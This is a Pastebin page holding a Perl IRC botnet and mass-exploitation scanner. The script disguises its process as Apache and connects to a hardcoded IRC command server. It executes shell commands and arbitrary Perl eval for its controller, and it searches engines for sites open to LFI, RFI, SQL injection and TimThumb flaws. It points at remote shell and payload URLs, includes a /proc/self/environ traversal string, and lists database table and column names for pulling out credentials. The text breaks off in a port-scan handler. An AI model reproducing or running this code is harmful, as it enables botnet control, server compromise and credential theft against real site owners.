Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- ####### DON'T MODIF IT or SCRIPT NOT WORK #######
- $powered="FathurFreakz"; #
- $mail="fathurfreakz@gmail.com"; #
- #################################################
- #################################################
- use HTTP::Request; #
- use HTTP::Request::Common; #
- use HTTP::Request::Common qw(POST); #
- use LWP::Simple; #
- use LWP 5.53; #
- use LWP::UserAgent; #
- use Socket; #
- use IO::Socket; #
- use IO::Socket::INET; #
- use IO::Select; #
- #################################################
- my $datetime = localtime;
- my $fakeproc = "/usr/sbin/apache2 -k start";
- my $ircserver = "93.191.130.153";
- my $ircport = "7000";
- my $nickname = "[SCAN]_Anu[".int(rand(100))."]";
- my $ident = "FathurFreakz";
- my $channel = "#anu";
- my $admin = "FathurFreakz";
- my $fullname = "FathurFreakz";
- my $nickserv = "NickServ";
- #########################################################
- my $zerologo = "15(4@9ZeroBoard15)"; #
- my $thumblogo = "15(4@9TimThumb15)"; #
- my $nob0dy = "14(7@2nob0dy14)";
- my $lfilogo = "14(7@2LFI14)";
- my $rfilogo = "14(7@2RFI14)";
- my $e107logo = "14(7@2e10714)";
- my $xmllogo = "14(7@2XML14)";
- my $sqllogo = "14(7@2SQL14)";
- my $oscologo = "14(7@2OSCommerce14)";
- my $zenlogo = "14(7@2zen14)";
- my $cubelogo = "14(7@2cube14)";
- my $admlogo = "14(7@2adm14)";
- my $smslogo = "14(7@2sms14)";
- my $ossqllogo = "14(7@2OSCO-Result14)";
- my $zerocmd = '!zero'; #
- my $lficmd = '!lfi';
- my $rficmd = '!rfi';
- my $e107cmd = '!e107';
- my $xmlcmd = '!xml';
- my $sqlcmd = '!mysql';
- my $oscocmd = '!osco';
- my $zencmd = '!zen';
- my $admcmd = '!adm';
- my $opcmd = '!op';
- my $ossqlcmd = '!ossql';
- my $esqlcmd = '!esql';
- my $oscoauto = '!auto';
- my $cmdlfi = '!cmdlfi';
- my $cmde107 = '!cmde107';
- my $cmdxml = '!cmdxml';
- my $timcmd = '!tim';
- my $zeroshell = "ada di hatimu"; #
- #############################################################################################################
- my $action = "/data/shell.php?cmd=lwp-download%20http://200.98.132.177/myid.php;"; #
- my $thumbshell = "http://200.98.132.177/myid.php"; #
- my $thumbbot = "http://chelmsfordmartialarts.com/jwplayer/rei2.txt"; #
- my $injector = "http://www.quakelounge.de/images/ipays.jpg";
- my $botshell = "http://www.quakelounge.de/images/byroe.jpg";
- my $botshell2 = "http://www.quakelounge.de/images/allnet.jpg";
- my $folder1 = "/cache/ac8d8248c4b732b4c0555434e2b8e752.php"; #
- my $folder2 = "/cache/external_ac8d8248c4b732b4c0555434e2b8e752.php"; #
- my $folder3 = "/temp/ac8d8248c4b732b4c0555434e2b8e752.php"; #
- my $folder4 = "/temp/external_ac8d8248c4b732b4c0555434e2b8e752.php"; #
- my $folder5 = "/wp-content/uploads/thumb-temp/ac8d8248c4b732b4c0555434e2b8e752.php"; #
- my $folderx1 = "/cache/ac8d8248c4b732b4c0555434e2b8e752.php"; #
- my $folderx2 = "/cache/external_ac8d8248c4b732b4c0555434e2b8e752.php"; #
- my $folderx3 = "/temp/ac8d8248c4b732b4c0555434e2b8e752.php"; #
- my $folderx4 = "/temp/external_1874d1ebe81ba5ab9b157f592eccec13.php"; #
- my $folderx5 = "/wp-content/uploads/thumb-temp/a1255cd56ad18c804806afc5c802ffb9.php"; #
- #############################################################################################################
- my @uagents = ("Microsoft Internet Explorer/4.0b1 (Windows 95)",
- "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
- "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
- "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
- "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
- "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
- "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
- "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
- "Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)",
- "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
- "Mozilla/4.0 (compatible; MSIE 7.0b; Win32)",
- "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
- "Microsoft Pocket Internet Explorer/0.6",
- "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)",
- "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;",
- "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)",
- "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)",
- "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)",
- "Advanced Browser (http://www.avantbrowser.com)",
- "Avant Browser (http://www.avantbrowser.com)",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)",
- "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)",
- "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007",
- "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
- "Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0",
- "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox",
- "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6",
- "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
- "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
- "Mozilla/3.0 (OS/2; U)",
- "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
- "Mozilla/4.61 (Macintosh; I; PPC)",
- "Mozilla/4.61 [en] (OS/2; U)",
- "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
- "Mozilla/4.8 [en] (Windows NT 5.0; U)",
- "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)",
- "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
- "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
- "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
- "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b",
- "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0",
- "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Mobile/7D11",
- "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_1_2 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7D11 Safari/528.16",
- "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16",
- "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20",
- "Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C106c",
- "Mozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7D11",
- "Mozilla/5.0 (Linux; U; Android 2.1-update1; en-gb; Desire_A8181 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) BlackBerry8707/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/150",
- "Mozilla/5.0 (Linux; U; Android 1.6; en-gb; HTC Magic Build/DRC92) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
- "Alcatel-OH5/1.0 UP.Browser/6.1.0.7.7 (GUI) MMP/1.0",
- "BlackBerry8800/4.5.0.69 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/123",
- "BlackBerry8310/4.5.0.55 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/212",
- "blackberry8520_ver1_subvodafone",
- "BlackBerry9000/4.6.0.126 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/-1",
- "BlackBerry9700/5.0.0.405 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/102",
- "Nokia3110c/2.0 (07.21) Profile/MIDP-2.0 Configuration/CLDC-1.1",
- "Nokia6300/2.0 (07.00) Profile/MIDP-2.0 Configuration/CLDC-1.1",
- "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es61i",
- "NokiaE61i-1/3.0 (1.0633.62.05) SymbianOS/9.1 Series60/3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
- "Mozilla/5.0(SymbianOS/9.2; U; Series60/3.1 NokiaN82/10.0.035; Profile/MIDP-2.0 Configuration/CLDC-1.1;) AppleWebKit/413(KHTML, like Gecko)Safari/413",
- "Mozilla/5.0 (SymbianOS/9.3; U; Series60/3.2 NokiaN85-1/30.101; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413",
- "Mozilla/5.0 (SymbianOS/9.2 U; Series60/3.1 NokiaN95_8GB/10.0.007; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413",
- "Mozilla/5.0 (webOS/1.0; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Pre/1.0",
- "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.13337/504; U; ru) Presto/2.2.0",
- "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
- "Samsung-SPHM540 Polaris/6.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
- "Mozilla/4.0 (MobilePhone SCP-6600/US/1.0) NetFront/3.1 MMP/2.0",
- "SonyEricssonC902/R3EA Browser/NetFront/3.4 Profile/MIDP-2.1 Configuration/CLDC-1.1 JavaPlatform/JP-8.3.3",
- "SonyEricssonK800i/R1AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1",
- "SonyEricssonV600i/R2K Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
- "Mozilla/5.0 (Linux; U; Android 1.6; en-gb; SonyEricssonX10i Build/R1FA016) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
- "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
- "Gigabot/3.0 (http://www.gigablast.com/spider.html)");
- my $uagent = $uagents[rand(scalar(@uagents))];
- my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
- my $open_test = "/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html";
- my $adm_output = ("uid=");
- my $open_output = ("FCKeditor - Connectors Tests");
- my @tabele = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
- 'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
- 'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
- 'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
- 'e- mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
- 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id' ,
- 'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
- 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
- 'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
- 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','US UARIO','USUARIOS','MIEMBROS','MIEMBRO');
- my @kolumny = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
- 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
- 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
- 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
- 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
- 'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
- $SIG{'INT'} = 'IGNORE';
- $SIG{'HUP'} = 'IGNORE';
- $SIG{'TERM'} = 'IGNORE';
- $SIG{'CHLD'} = 'IGNORE';
- $SIG{'PS'} = 'IGNORE';
- chdir("/tmp");
- #chop (my $priper = `wget http://www.quakelounge.de/images/ipays.jpg -O ipays.jpg;wget http://www.quakelounge.de/images/allnet.jpg -O allnet.jpg;wget http://www.quakelounge.de/images/byroe.jpg -O byroe.jpg`);
- $ircserver = "$ARGV[0]" if $ARGV[0];
- $0 = "$fakeproc"."\0" x 16;;
- my $pid = fork;
- exit if $pid;
- die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
- our %irc_servers;
- our %DCC;
- my $dcc_sel = new IO::Select->new();
- $sel_client = IO::Select->new();
- sub sendraw {
- if ($#_ == '1') {
- my $socket = $_[0];
- print $socket "$_[1]\n";
- } else {
- print $IRC_cur_socket "$_[0]\n";
- }
- }
- my @domen = ("site:.org","site:.info","site:.net","site:.com","site:.edu","site:.mil","site:.int","site:.gov","site:.ar","site:.au","site:.az","site:.be","site:.br","site:.ca","si te:.ch","site:.de","site:.dk","site:.ee","site:.es","site:.eu","site:.fr","site:.gr","site:.gu","site:.hk","site:.ht","site:.hu","site:.id","site:.il","site:.ir","site :.is","site:.it","site:.jp","site:.kh","site:.ki","site:.kr","site:.la","site:.li","site:.ls","site:.me","site:.mk","site:.mo","site:.mn","site:.mt","site:.na","site:. nc","site:.ni","site:.nl","site:.no","site:.nr","site:.nu","site:.om","site:.pa","site:.ph","site:.pl","site:.pn","site:.pr","site:.ps","site:.pt","site:.py","site:.qa ","site:.re","site:.ro","site:.rs","site:.ru","site:.sa","site:.se","site:.sh","site:.si","site:.sk","site:.sl","site:.so","site:.sr","site:.st","site:.su","site:.th", "site:.tk","site:.tr","site:.tt","site:.tv","site:.ua","site:.uk","site:.us","site:.za");
- sub connector {
- my $mynick = $_[0];
- my $ircserver_con = $_[1];
- my $ircport_con = $_[2];
- my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
- if (defined($IRC_socket)) {
- $IRC_cur_socket = $IRC_socket;
- $IRC_socket->autoflush(1);
- $sel_client->add($IRC_socket);
- $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
- $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
- nick("$mynick");
- my $versi = "Rei @ iniaku.net.tc";
- sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
- sleep (1);}}
- sub parse {
- my $servarg = shift;
- if ($servarg =~ /^PING \:(.*)/) {
- sendraw("PONG :$1");
- }
- elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
- if (lc($1) eq lc($mynick)) {
- $mynick = $4;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- }
- }
- elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
- nick("$mynick".int rand(1));
- }
- elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
- $mynick = $2;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
- sendraw("MODE $mynick +iB");
- sendraw("JOIN $channel");
- sleep(2);
- sendraw("MODE $mynick +Bx");
- sendraw("PRIVMSG $nickserv :identify jancox");sleep(2);
- sendraw("JOIN $channel");sleep(0);
- sendraw("PRIVMSG $admin :Hi $admin im here !!!");
- sendraw("PRIVMSG $channel :8%9,8%8,9%3,9%1,3%3,1%9,1 Private Scanner Engine V.5 LucAs_Over Modification 3,1%1,3%3,9%8,9%9,8%8%");
- sendraw("PRIVMSG $channel :Todos Modes Funcionando 100%");sleep(0);
- sendraw("PRIVMSG $channel :LucAs_Over Meu Mestre .. Vamos Hackia !!!");
- }
- }
- my $line_temp;
- while( 1 ) {
- while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
- select(undef, undef, undef, 0.01);;
- delete($irc_servers{''}) if (defined($irc_servers{''}));
- my @ready = $sel_client->can_read(0);
- next unless(@ready);
- foreach $fh (@ready) {
- $IRC_cur_socket = $fh;
- $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
- $nread = sysread($fh, $ircmsg, 4096);
- if ($nread == 0) {
- $sel_client->remove($fh);
- $fh->close;
- delete($irc_servers{$fh});
- }
- @lines = split (/\n/, $ircmsg);
- $ircmsg =~ s/\r\n$//;
- if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
- my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
- my $engine ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaL La,DeMos,RoSe,SeZnaM,TisCali,NaVeR,DooGatE,SoGoU,InTeRiA,SnZ,YaNdEx,JoEaNt,TeRrA,YoUdAo,AmFiBi,BiGcLiQuE,DaNcEfLoOr,LiVe,RaKuTeN,BiGlObE,NoVa,NaJdI,GoO,UkSuBmIt,ExCiTe ,MaMMa";
- if ($path eq $mynick) {
- if ($msg =~ /^PING (.*)/) {
- sendraw("NOTICE $nick :PING $1");
- }
- if ($msg =~ /^VERSION/) {
- sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey");
- }
- if ($msg =~ /^TIME/) {
- sendraw("NOTICE $nick :TIME ".$datetime."");
- }
- if (&isAdmin($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&isAdmin($nick) && $msg eq "!killall") {
- &shell("$path","killall -9 perl");
- }
- if (&isAdmin($nick) && $msg eq "!reset") {
- sendraw("QUIT :Restarting...");
- }
- if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
- sendraw("JOIN #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
- sendraw("PART #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
- sendraw("NICK ".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!pid/) {
- sendraw($IRC_cur_socket, "PRIVMSG $nick :9Fake Process/PID : $fakeproc - $$");
- }
- if (&isAdmin($nick) && $msg !~ /^!/) {
- &shell("$nick","$msg");
- }
- }
- else {
- if (&isAdmin($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&isAdmin($nick) && $msg eq "!killall") {
- &shell("$path","killall -9 perl");
- }
- if (&isAdmin($nick) && $msg eq "!reset") {
- sendraw("QUIT :Restarting...");
- }
- if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
- sendraw("JOIN #".$1);
- }
- if (&isAdmin($nick) && $msg eq "!part") {
- sendraw("PART $path");
- }
- if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
- sendraw("PART #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
- &shell("$path","$1");
- }
- if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
- &shell("$path","$1");
- }
- if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
- eval "$1";
- }
- ##################################################################### HELP COMMAND
- if ($msg=~ /^!help/) {
- my $helplogo = "15(4@9Help15)";
- &msg("$path","$helplogo 8%9,8%8,9%3,9%1,3%3,1%9,1[ LucAs_Over Help Options True Community ]3,1%1,3%3,9%8,9%9,8%8%");
- &msg("$path","$helplogo 3 ( $rficmd |$lficmd|$sqlcmd|$xmlcmd|New add: $timcmd | $zerocmd [bug] [dork] )");
- &msg("$path","$helplogo 4 ( $cmde107 |$cmdlfi|$cmdxml) [target][cmd]|!sms[no][pesan] )");
- &msg("$path","$helplogo 6 ( $e107cmd | $zencmd | $oscocmd | $admcmd | $cubecmd [dork] | !dns [host] ) ");sleep(2);
- &msg("$path","$helplogo 7 ( !login [web] |!port [ip][port]|!base64 [data] | !ip [ip] )");
- &msg("$path","$helplogo 13 ( !about |!engine|!version|!proxy [3digit]|!paypal [email] )");
- &msg("$path","$helplogo 8%9,8%8,9%3,9%1,3%3,1%9,1[ END Of HELP Option ]3,1%1,3%3,9%8,9%9,8%8%");
- }
- if ($msg=~ /^!engine/) {
- my $enginelogo = "15(4@9EnginE15)";
- &msg("$path","$enginelogo 4 GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio");
- &msg("$path","$enginelogo 4 WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo");
- &msg("$path","$enginelogo 4 BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR");
- }
- if ($msg=~ /^!about/) {
- my $aboutlogo = "15(4@9About Bot15)";
- &msg("$path","$aboutlogo 9Wordpress / Scanner v0.5 ");
- &msg("$path","$aboutlogo 9© Copy Right 2011 LucAs_Over");
- }
- if ($msg=~ /^!version/) {
- my $versionlogo = "15(4@9Version15)";
- &msg("$path","$versionlogo 13 Scanner v0.5");
- }
- if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
- if (&isFound($injector,"Rei Area")) {
- &msg("$path","15(7@2Checker15)2 Injektor Umum 9Worked ON - Mestre LucAs_Over !!!");
- } else {
- &msg("$path","15(7@2Checker15)2 Injektor Umum 4Worked OFF - Mestre LucAs_Over !!!");
- }
- if (&isFound($thumbshell,"GIF89a")) {
- &msg("$path","15(7@2Checker15)2 Injektor Thumb 9Worked ON - Mestre LucAs_Over !!!");
- } else {
- &msg("$path","15(7@2Checker15)2 Injektor Thumb4Worked OFF - Mestre LucAs_Over !!!");
- }
- }
- if (&isAdmin($nick) && $msg =~ /^!pid/) {
- ¬ice("$nick","9Fake Process/PID : 8$fakeproc - $$");
- }
- ################################ Zeroboard #####################################
- if ($msg=~ /^$zerocmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","$zerologo 9Dork :4 $dork");
- &msg("$path","$zerologo 13Bugz :4 $bug");
- &msg("$path","$zerologo 8Search Engine Loading ...");
- &scan_start($path,$bug,$dork,$engine,2);
- }
- exit;
- }
- }
- #####################################################################
- if ($msg=~ /^$timcmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","$thumblogo 9Dork :4 $dork");
- &msg("$path","$thumblogo 13Bugz :4 $bug");
- &msg("$path","$thumblogo 8Search Engine Loading ...");
- &scan_start($path,$bug,$dork,$engine,1);
- }
- exit;
- }
- }
- if ($msg=~ /^!proxy\s+(.+)/){
- if (my $pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else {
- my $minta = $1;
- &msg("$path","15(7@2PROXY15)13 Checking Proxy..");
- &proxy($path,$minta);
- }
- exit;
- }
- }
- if ($msg=~ /^!dns\s+(.*)/){
- my $nsku = $1;
- $mydns = inet_ntoa(inet_aton($nsku));
- &msg("$path", "15(7@2DNS15) 13$nsku 9Resolve Ke 4 $mydns");
- }
- if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
- my $hostip= "$1";
- my $portsc= "$2";
- my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
- if ($scansock) {
- &msg("$path","15(7@2PORT15)7 $hostip : $portsc 9Diterima !");
- }
- else {
- &msg("$path","15(7@2PORT15)7 $hostip : $portsc 4Koneksi Ditolak !");
- }
- }
- if ($msg=~ /^!ip\s+(.*)/ ) {
- if (my $pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else {
- my $ip = $1;
- &msg("$path","15(7@2IP15)6 Searching ".$ip." 9Location ...");
- my $website = "http://www.ipligence.com/geolocation";
- my ($useragent,$request,$response,%form);
- undef %form;
- $form{ip} = $ip;
- $useragent = LWP::UserAgent->new;
- $useragent->timeout(5);
- $request = POST $website,\%form;
- $response = $useragent->request($request);
- if ($response->is_success) {
- my $res = $response->content;
- if ($res =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g) {
- my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
- &msg("$path","15(7@2IP15)12 IP Address : ".$ip." 10 ( ".$ipaddress." )");
- &msg("$path","15(7@2IP15)12 City : ".$ip." 10 ( ".$city." )");
- &msg("$path","15(7@2IP15)12 Country : ".$ip." 10 ( ".$country." )");
- &msg("$path","15(7@2IP15)12 Continent : ".$ip." 10 ( ".$continent." )");
- }
- else {
- &msg("$path","15(7@2IP15)13 ".$ip." 4not found in database");
- }
- }
- else {
- &msg("$path","15(7@2IP15)4 Cannot open IP database.");
- }
- }
- exit;
- }
- }
- if ($msg=~ /^!base64 (.*)$/ ) {
- if (my $pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else {
- my $hash = $1;
- my $base64_encoded = encode_base64($hash);
- my $base64_decoded = decode_base64($hash);
- &msg("$path","15(7@2BASE6415)13 Decode : 2$base64_decoded");
- &msg("$path","15(7@2BASE6415)13 Encode : 2$base64_encoded");
- }
- exit;
- }
- }
- if ($msg =~ /^!portscan (.*)$/ ) {
- my $hostip="$1";
